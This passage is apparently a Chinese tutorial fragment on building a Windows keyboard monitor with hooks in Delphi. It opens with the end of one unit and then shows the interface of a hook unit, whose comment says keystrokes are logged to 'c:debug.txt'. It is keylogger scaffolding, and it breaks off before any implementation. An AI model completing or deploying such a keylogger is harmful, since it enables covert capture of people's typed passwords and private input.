利用Hook技术实现键盘监控

    nexthookproc：=0；

    procsaveexit：=exitproc；

    exitproc：=@keyhookexit；

    end.

    2.在Hookproc.pas中实现了钩子具体过程：

    unit hookproc；

    interface

    uses

    Windows， Messages， SysUtils， Controls， StdCtrls；

    var

    nexthookproc：hhook；

    procsaveexit：pointer；

    function keyboardhook（icode：integer；wparam：wparam；

    lparam：lparam）：lresult；stdcall；export；

    function setkeyhook：bool；export；//加载钩子

    function endkeyhook：bool；export；//卸载钩子

    procedure keyhookexit；far；

    const

    afilename=‘c：debug.txt’；//将键盘输入动作写入文件中

    var